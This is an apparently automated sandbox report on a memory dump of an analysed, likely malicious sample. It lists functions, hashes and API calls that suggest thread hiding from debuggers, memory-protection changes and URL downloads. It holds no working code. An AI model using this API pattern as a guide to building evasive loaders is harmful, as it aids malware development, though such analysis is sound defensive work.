Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID: \
API String ID: 4046476035-2967466578
Opcode ID: 1e3db1a0196b3fd0d5ca0c3277a2727c99ae7e07054f307a32ff06a0b7eb0261
Instruction ID: b7e920e826fdd5d82d00bdadea5e493a09199b237c80c7ed841d1e39cf4cc1d2
Opcode Fuzzy Hash: 1e3db1a0196b3fd0d5ca0c3277a2727c99ae7e07054f307a32ff06a0b7eb0261
Instruction Fuzzy Hash: 2221E464A6060A8FEB24DE28C5187E57371AF237B4F8D5698EE524B0F0C33081C8CF41

Uniqueness

Uniqueness Score: -1.00%

Function 03232B48, Relevance: 3.1, APIs: 2, Instructions: 77nativethreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 03232BAD

Part of subcall function 03232BC8: RtlAddVectoredExceptionHandler.NTDLL(?,Function_00001C71), ref: 03232BCC
Part of subcall function 03232BC8: NtProtectVirtualMemory.NTDLL(000000FF,-0000001C,-00000018,?,?,?,?,?,?,00000000), ref: 03232CBA

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,?,00000000,?), ref: 03233D74

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual$ExceptionHandlerTerminateThreadVectored
String ID:
API String ID: 2781483202-0
Opcode ID: 2ca8ada4fd6577716a25b17e8ef21622b4c42124e458530eab30ff806377f725
Instruction ID: 92d048cc812441f8a2f1476d5a7d0ca74804d4ceeaaa0978223c45f1c781dd26
Opcode Fuzzy Hash: 2ca8ada4fd6577716a25b17e8ef21622b4c42124e458530eab30ff806377f725
Instruction Fuzzy Hash: 0321C0B82103069EE710DE1CCCE5BD67265DF077A0F504365DE624F1E1D3B1D8C18122

Uniqueness

Uniqueness Score: -1.00%

Function 03232B9A, Relevance: 3.1, APIs: 2, Instructions: 69nativethreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 03232BAD

Part of subcall function 03232BC8: RtlAddVectoredExceptionHandler.NTDLL(?,Function_00001C71), ref: 03232BCC
Part of subcall function 03232BC8: NtProtectVirtualMemory.NTDLL(000000FF,-0000001C,-00000018,?,?,?,?,?,?,00000000), ref: 03232CBA

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,?,00000000,?), ref: 03233D74

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual$ExceptionHandlerTerminateThreadVectored
String ID:
API String ID: 2781483202-0
Opcode ID: 9e3584451dab16d17c445a76650ced2ec6e6984a0b32199206ff48912f776de1
Instruction ID: a4f567f923f6250479ab31d3cf3a8f8946c58f874269adff5427dd2f2c020190
Opcode Fuzzy Hash: 9e3584451dab16d17c445a76650ced2ec6e6984a0b32199206ff48912f776de1
Instruction Fuzzy Hash: CF115EB8210305AFE710EA6CCCD6BD67365DF077A0F554368DE624F1E2C361D8C58611

Uniqueness

Uniqueness Score: -1.00%

Function 03233B4A, Relevance: 3.0, APIs: 2, Instructions: 44sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000005), ref: 03233BEB

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d9536b40264bd1bd4838c5167f7e6ea224795d4087246da9843b1e58c9d56833
Instruction ID: d70cdaf0d4c946d6011f1428ac42563f02f35fbc7c7d3483de0557702fa942d8
Opcode Fuzzy Hash: d9536b40264bd1bd4838c5167f7e6ea224795d4087246da9843b1e58c9d56833
Instruction Fuzzy Hash: FA0171F9164700AFD720DE64CC4DB69B7A5AF16321F154585E7168B1E2C3B4C6C08A12

Uniqueness

Uniqueness Score: -1.00%

Function 03237589, Relevance: 1.8, APIs: 1, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: e5015f36e3b766c84548eb2b749e2aca8f4913bc786f6bb98995bc69220ff9ae
Instruction ID: 1b1aa2a554e5739a1b0d50ff892e39f5c2281e65a91ccc626eaff90cd42bc32f
Opcode Fuzzy Hash: e5015f36e3b766c84548eb2b749e2aca8f4913bc786f6bb98995bc69220ff9ae
Instruction Fuzzy Hash: 95B108E4A243439EDF21DE3C84D4BA5B7A6DF57260F988299D8968B2D6D371C0C2C712

Uniqueness

Uniqueness Score: -1.00%

Function 032381D6, Relevance: 1.7, APIs: 1, Instructions: 167nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 043e9aae1cce97f7e872eee0cb08a7dde999e49b05acb72549ac3b5823ef6155
Instruction ID: 719cabf169d2a5985601f12ac742c160c6b9ab6a55ff114715c326d2c4f829e0
Opcode Fuzzy Hash: 043e9aae1cce97f7e872eee0cb08a7dde999e49b05acb72549ac3b5823ef6155
Instruction Fuzzy Hash: 104144625686059EEF18CE218B427653AB9EF03B30FA9025EDE135F1E6D771A5C88E01

Uniqueness

Uniqueness Score: -1.00%

Function 032380B3, Relevance: 1.7, APIs: 1, Instructions: 151nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 308d866e73f39f7711c9c2cc5d52bfbfb9478a26eee94f110e8013151b72fdc2
Instruction ID: 1fa16f5522cdef2e7c5272d8f5dbb45e5b16ea55bc7012191b7cd0b78ff40ce5
Opcode Fuzzy Hash: 308d866e73f39f7711c9c2cc5d52bfbfb9478a26eee94f110e8013151b72fdc2
Instruction Fuzzy Hash: CB414BA1678606DEEF28CE20C6557A526B5EF03B60FA9025EDE035F1E1D37554CC8E41

Uniqueness

Uniqueness Score: -1.00%

Function 032380FD, Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde915b37c64de695e40f1ca410c89fcfd7801cd71b7bdb980daaed2d437978f
Instruction ID: 7f36984b1124d9746b1fe7cfb6fbdd22f7b78784e4066668738eab2cec1cc23e
Opcode Fuzzy Hash: fde915b37c64de695e40f1ca410c89fcfd7801cd71b7bdb980daaed2d437978f
Instruction Fuzzy Hash: 55415BA1678706DEEF28CE20CA567A526B5EF03760FA9025EDE034F1E1D37594CC8E41

Uniqueness

Uniqueness Score: -1.00%

Function 03238151, Relevance: 1.6, APIs: 1, Instructions: 144nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: dd83e75d8e434294b992ecffdddb0feabf450b34a44b5eca856d055d912f2aec
Instruction ID: e949d001c9a0f754613187f884efddea6885a7594bc2467836fd734f86eb4826
Opcode Fuzzy Hash: dd83e75d8e434294b992ecffdddb0feabf450b34a44b5eca856d055d912f2aec
Instruction Fuzzy Hash: 9E4148A1678606DEEF28DE20CA557A526A5EF13B60FA9025EDE034F1E2D37195CC8E01

Uniqueness

Uniqueness Score: -1.00%

Function 03238195, Relevance: 1.6, APIs: 1, Instructions: 138nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 4a38e00ba4e2941cae1da7e29c01d0fc39858e9e3f5c9a4f581a7e8c7fa5aa19
Instruction ID: ed2866f5868ca88e97db36c153c8172aaf783d74a15f87ed4dac10c58287adf5
Opcode Fuzzy Hash: 4a38e00ba4e2941cae1da7e29c01d0fc39858e9e3f5c9a4f581a7e8c7fa5aa19
Instruction Fuzzy Hash: 464158A167860ADEEF28CE20CA557A526B5AF03760F99025ADE034F1E1D37194CC8E01

Uniqueness

Uniqueness Score: -1.00%

Function 0323809C, Relevance: 1.6, APIs: 1, Instructions: 131nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 64287ec2be1a624f9de06bcf9db2e7347616c44c99d0adb91ac9a03c9af31325
Instruction ID: b4360d49321d72dfc87747fccedc60db329b41024414c6924a2d0442aef67e8c
Opcode Fuzzy Hash: 64287ec2be1a624f9de06bcf9db2e7347616c44c99d0adb91ac9a03c9af31325
Instruction Fuzzy Hash: 5C41FCA077470ACEEF28DE24C5547F96266AF53364F9C426AEE474F5D0D3B484CC8A41

Uniqueness

Uniqueness Score: -1.00%

Function 03238336, Relevance: 1.6, APIs: 1, Instructions: 129nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: bed82f5a32031b4dbcac28905d8997fd46fab50a81d59d2770cb9163ddacfc4f
Instruction ID: 5b45cbc4c8ffe2eaa2a8c79026ed93cbcb8a4e5846fa24a86a948169de084ded
Opcode Fuzzy Hash: bed82f5a32031b4dbcac28905d8997fd46fab50a81d59d2770cb9163ddacfc4f
Instruction Fuzzy Hash: A941577266460A9EEF28CE20CA467A536B5FF03B30FA9025DDE034F1E1D37195C88E41

Uniqueness

Uniqueness Score: -1.00%

Function 032382E6, Relevance: 1.6, APIs: 1, Instructions: 129nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 6adad268d0f2181644d3be1ed5714bede559b0416a331b994faaeec4604c8a2e
Instruction ID: e4d266cb48dbd0e02e5eaaee9c55470da19a8540cf06663d4b339ef2e5828997
Opcode Fuzzy Hash: 6adad268d0f2181644d3be1ed5714bede559b0416a331b994faaeec4604c8a2e
Instruction Fuzzy Hash: D541467166430A9EEF28CE24C6467A536B5EF13B60FA9025EDE034F1E1D37194C8CE41

Uniqueness

Uniqueness Score: -1.00%

Function 03238382, Relevance: 1.6, APIs: 1, Instructions: 127nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: ce6489cb5d08de3c283f07d38e3266a07cecf4cc3439261fbceac656378143c6
Instruction ID: 6eae379e27e3dae4e37a650785a79b3476e8a3f3ebeb4677da22735c32a34e2d
Opcode Fuzzy Hash: ce6489cb5d08de3c283f07d38e3266a07cecf4cc3439261fbceac656378143c6
Instruction Fuzzy Hash: 0C41467266460A9EEF28CE21CA067A536B5FF03B30F99025DDE135F1E2D73195C88E41

Uniqueness

Uniqueness Score: -1.00%

Function 032383CF, Relevance: 1.6, APIs: 1, Instructions: 123nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 534b5a6e24509063d163668b448755862dc0cf0d91233754653e3748511c14fd
Instruction ID: dba45730c56a0f95c90d196e9189529db5d6e8a39f64c6f6586f14cee45f8ae1
Opcode Fuzzy Hash: 534b5a6e24509063d163668b448755862dc0cf0d91233754653e3748511c14fd
Instruction Fuzzy Hash: 7F31577266460A9EEF28DE24CA067A536B5FF13B70FA9025DDE035F1E2C33195C88E41

Uniqueness

Uniqueness Score: -1.00%

Function 0323841B, Relevance: 1.6, APIs: 1, Instructions: 114nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: dcbd6e40d26f0773a6b099f98664e7dc667429797e3513a27755016e93df51ac
Instruction ID: 5faa4316d5f93652031c03767eb64c827549deac524434b083429e5cea59c48b
Opcode Fuzzy Hash: dcbd6e40d26f0773a6b099f98664e7dc667429797e3513a27755016e93df51ac
Instruction Fuzzy Hash: 6831777166020A9EEF28DE20CA067A526B5EF13B70F99025EDE134F1E2C33095C8CE41

Uniqueness

Uniqueness Score: -1.00%

Function 03238462, Relevance: 1.6, APIs: 1, Instructions: 111nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 7809de763ae8998f2b6af0f7e79af6a9ef64455a992c890c5da6778ee4fa7fc8
Instruction ID: 7a5393b8763b4d7da01c9d7042b663be6ac68331c70f95bb28c2da128951112c
Opcode Fuzzy Hash: 7809de763ae8998f2b6af0f7e79af6a9ef64455a992c890c5da6778ee4fa7fc8
Instruction Fuzzy Hash: 1D31667166020A9EEF18CE20C60679536B5EF13B70F99025DCE130F1E2C33095C8CE41

Uniqueness

Uniqueness Score: -1.00%

Function 03238544, Relevance: 1.6, APIs: 1, Instructions: 88nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 75bca9da641716fc1152f525422a77f5caf697814e7ac08e57effdf9537c50aa
Instruction ID: 994f94f22c262501d647873c776a50faa794181ebd54c13a82a1d4e675d64ccf
Opcode Fuzzy Hash: 75bca9da641716fc1152f525422a77f5caf697814e7ac08e57effdf9537c50aa
Instruction Fuzzy Hash: 502101225A420A9EEB18DE21C74679037B9EF13B30F590289CE130F0F6C73166C8CE00

Uniqueness

Uniqueness Score: -1.00%

Function 03233CA0, Relevance: 1.6, APIs: 1, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,?,00000000,?), ref: 03233D74

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d92aeef6f75ab754b778049bd8639dabe2ae1349418627885b32a7ebc3f9b891
Instruction ID: fb4304c48beab4e70555c39ff026f5c8c2be5ffdc9a6b0794cafbe38b548a717
Opcode Fuzzy Hash: d92aeef6f75ab754b778049bd8639dabe2ae1349418627885b32a7ebc3f9b891
Instruction Fuzzy Hash: 8D11003701830069EB089EA28F837017BB9EF07F70B610359CE235F2E7DB62A5099905

Uniqueness

Uniqueness Score: -1.00%

Function 032385ED, Relevance: 1.6, APIs: 1, Instructions: 60nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 03238657

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 5082898b3ca62bd6bb3776bdd15e06af413d625902111000be3ed1eba1140819
Instruction ID: 938a8ac7d1b4de20fed081ee21aed9bf3cf1d13ff90d8d3fd47dfb14a0b43ec4
Opcode Fuzzy Hash: 5082898b3ca62bd6bb3776bdd15e06af413d625902111000be3ed1eba1140819
Instruction Fuzzy Hash: DB018C1355464559AB0CDE668B037952775EE03F707A9034DCE135F1A6D73235489E05

Uniqueness

Uniqueness Score: -1.00%

Function 03233C71, Relevance: 1.6, APIs: 1, Instructions: 60nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,?,00000000,?), ref: 03233D74

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9fb6867ec19ac6c1c23d2f2d5941571c8880da42635ce7f82a3814d49a074f66
Instruction ID: 20f4f9c8f06f18613016aac63e3016a0291f345b9c786d6e6b543afb084b2809
Opcode Fuzzy Hash: 9fb6867ec19ac6c1c23d2f2d5941571c8880da42635ce7f82a3814d49a074f66
Instruction Fuzzy Hash: B7018EB82103055FE700DA28CDD5B9672A5DF07770F558274DE62CF1E1C364D4C58521

Uniqueness

Uniqueness Score: -1.00%

Function 03233C6A, Relevance: 1.6, APIs: 1, Instructions: 56nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 03232BC8: RtlAddVectoredExceptionHandler.NTDLL(?,Function_00001C71), ref: 03232BCC
Part of subcall function 03232BC8: NtProtectVirtualMemory.NTDLL(000000FF,-0000001C,-00000018,?,?,?,?,?,?,00000000), ref: 03232CBA

NtProtectVirtualMemory.NTDLL(000000FF,-00000024,-00000020,?,?,?,?,?,?,00000000,?), ref: 03233D74

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual$ExceptionHandlerVectored
String ID:
API String ID: 4193742754-0
Opcode ID: df07f521b391ad3adeb49537f518aad317504160b5e08de04c34031a0aa5a569
Instruction ID: bb30eeff4ad91e864c4698e8d1ce03bb21f64ceccfd05351ee5447b400e160f1
Opcode Fuzzy Hash: df07f521b391ad3adeb49537f518aad317504160b5e08de04c34031a0aa5a569
Instruction Fuzzy Hash: 95016DB8210305AEE700EA28CCD5BA67369DF07760F558364EE628F1E2C375D4C58621

Uniqueness

Uniqueness Score: -1.00%

Function 03232C6E, Relevance: 1.5, APIs: 1, Instructions: 39nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-0000001C,-00000018,?,?,?,?,?,?,00000000), ref: 03232CBA

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 409218ddb172c57ba3c6ab8d2e6a87da49e813a3e362a5f4ff9fbb883268d280
Instruction ID: 5ead8cce6d0263b1bdd4bbd75605db9a8554a0e6d747ee0b0038f3ea651b82b9
Opcode Fuzzy Hash: 409218ddb172c57ba3c6ab8d2e6a87da49e813a3e362a5f4ff9fbb883268d280
Instruction Fuzzy Hash: 4FF062374582046AFB089E9287473097BB8FB02F20FA1014DCA131F2ABDA757A08DE45

Uniqueness

Uniqueness Score: -1.00%

Function 03233BF3, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,-0000001C,-00000018), ref: 03233C19

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 3ce697e8050254ee3170aa51df400eba172cc48afd258459ef210178176cab58
Instruction ID: 75744cdccbe69b1d6f16a46f49c77be51fad4cb3f396a2481a3ac01c7c8eabd5
Opcode Fuzzy Hash: 3ce697e8050254ee3170aa51df400eba172cc48afd258459ef210178176cab58
Instruction Fuzzy Hash: B2E086F6050200AFF304DE25CC4DB7A7354AF21364F150644E9114B0F1C3B8CBC08A62

Uniqueness

Uniqueness Score: -1.00%

Function 03237BA6, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,032376A9,?,03232FE0,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 03237BC1

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5bed15b80172f2e672e533971673771a0f847b7cf0f24a20f28b0545e0ae9f69
Instruction ID: 81b4d3dd896bbc615aa7056a37ab9fa6f933f492036f104ef25581d5b715190c
Opcode Fuzzy Hash: 5bed15b80172f2e672e533971673771a0f847b7cf0f24a20f28b0545e0ae9f69
Instruction Fuzzy Hash: 72C012E02240003E68048A68CD48C2BB2AA86D8A28B10C32DB832222CCC930EC048632

Uniqueness

Uniqueness Score: -1.00%

Function 03232F74, Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 384libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,0323759D,03232FE0,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 032367E8

Strings

5, xrefs: 03232FC8
Z^#, xrefs: 03233273

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: 5$Z^#
API String ID: 1029625771-2139041743
Opcode ID: 53aabe3e33474cea1b6ab452265d853fd99b595147ababc3f570ebaa62a6189f
Instruction ID: fa733bfd6d672046866b0ce9832375a92f76ba20d34c731d919f149facbc98cd
Opcode Fuzzy Hash: 53aabe3e33474cea1b6ab452265d853fd99b595147ababc3f570ebaa62a6189f
Instruction Fuzzy Hash: C0C127B5750306AEFF209E24CD85BE93A26FF42B50F944228FE445A194D7FA89C9CB41

Uniqueness

Uniqueness Score: -1.00%

Function 03233B02, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

__common_dcos_data.LIBCMT ref: 03233B45

Part of subcall function 03232AC8: TerminateThread.KERNELBASE(000000FE,00000000), ref: 03232BAD

Sleep.KERNELBASE(00000005), ref: 03233BEB

Strings

{DW, xrefs: 03233AB8

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: SleepTerminateThread__common_dcos_data
String ID: {DW
API String ID: 1104745652-3458507395
Opcode ID: 2adbcb2041bda21819bbf802b6ad6f95d7f03e371dfd513fa851cdcbedbd2d01
Instruction ID: 6453f5ccb2cf80ca13bc1a7a7750fdbc14e25f9c668ce8ddf7ce1f3828aefae3
Opcode Fuzzy Hash: 2adbcb2041bda21819bbf802b6ad6f95d7f03e371dfd513fa851cdcbedbd2d01
Instruction Fuzzy Hash: 3F0173FC7347019BDB30DE6848D4BA9A2975F47731F44826AEB498B1D1C3B0C5C0C212

Uniqueness

Uniqueness Score: -1.00%

Function 03233B04, Relevance: 3.1, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

__common_dcos_data.LIBCMT ref: 03233B45

Part of subcall function 03232AC8: TerminateThread.KERNELBASE(000000FE,00000000), ref: 03232BAD

Sleep.KERNELBASE(00000005), ref: 03233BEB

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: SleepTerminateThread__common_dcos_data
String ID:
API String ID: 1104745652-0
Opcode ID: 0e857e74b1961d0adc93a76132adb97f5ab818c34a5579b3f2a988cb1349e156
Instruction ID: ba5855f4d8306cd5f421cfd53016831a6285914e1b2b2c93ea608bf3991870c2
Opcode Fuzzy Hash: 0e857e74b1961d0adc93a76132adb97f5ab818c34a5579b3f2a988cb1349e156
Instruction Fuzzy Hash: 3501C46A0787007AEA18DFA14B43B457BB9EF07E30F21024ACB239F1E7DB71A5849D05

Uniqueness

Uniqueness Score: -1.00%

Function 0323391C, Relevance: 1.6, APIs: 1, Instructions: 118libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,0323759D,03232FE0,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 032367E8

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 89df28bc3da5fc4664d82162f90372eb498a9e3ec9f8a631ff0015d3053300a7
Instruction ID: 4ec3a4ed41232b8928513506b43fd1fb0c17ac53993bcc4d99c0a006303aeb8e
Opcode Fuzzy Hash: 89df28bc3da5fc4664d82162f90372eb498a9e3ec9f8a631ff0015d3053300a7
Instruction Fuzzy Hash: 0A317B9686C3413EDB10FA714A967AA7F7DDF03A30F98068BC8834B0A3D66554C58A03

Uniqueness

Uniqueness Score: -1.00%

Function 03234097, Relevance: 1.6, APIs: 1, Instructions: 101networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,?,03234925,?), ref: 032340FA

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 9b04c70b608879cc71b0e2c435a46656c873633578b1d57c77d0b589ecafab0e
Instruction ID: 86f70c7514bcafb49cd1655b3eda677938aae724adca8f5ad3f5c7d6656a404f
Opcode Fuzzy Hash: 9b04c70b608879cc71b0e2c435a46656c873633578b1d57c77d0b589ecafab0e
Instruction Fuzzy Hash: 86314C32194346AEFB34DE628F42BD93B69EF02B60F500129CE436F182E77165489A05

Uniqueness

Uniqueness Score: -1.00%

Function 0323406D, Relevance: 1.6, APIs: 1, Instructions: 99networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,?,03234925,?), ref: 032340FA

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 11ac6a84a136cd14d07db2168b44175feffb8e0c8dd4e5237185aabb974791ba
Instruction ID: 6bc1a0d97d00bd40a22c4313b39508576d847c34e80f340993905f53d141a353
Opcode Fuzzy Hash: 11ac6a84a136cd14d07db2168b44175feffb8e0c8dd4e5237185aabb974791ba
Instruction Fuzzy Hash: 6231E670250387AEEF34EE31CD84FEE3766AF55740F848425AE49AA180D7B18AC89711

Uniqueness

Uniqueness Score: -1.00%

Function 03233FF0, Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0323492E,00000000,00000000,00000000,00000000,03234B55,03234EAB), ref: 03234045

Part of subcall function 0323406D: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,?,03234925,?), ref: 032340FA

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 9524622c43252d71f3c7eaaba59ab14622de319379ae6180329afad281aef9f1
Instruction ID: 90cbc14ec3bf2e38725484bfb2d0c2b5c0694bcb52a63a1de0a22985530cd99a
Opcode Fuzzy Hash: 9524622c43252d71f3c7eaaba59ab14622de319379ae6180329afad281aef9f1
Instruction Fuzzy Hash: 3A21493256C39165E725DF724F073427FB4FF03A20F25018DC9836E093E6A56604DA46

Uniqueness

Uniqueness Score: -1.00%

Function 03235677, Relevance: 1.6, APIs: 1, Instructions: 94fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0323589C,80000000,?,00000000,?,00000000,00000000,032354F7,0323589C), ref: 032357E7

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: be2f1cef59c01cc5d483f840cf681b0b732a1e8b0ef3bb814e6ee6c6c3c06d12
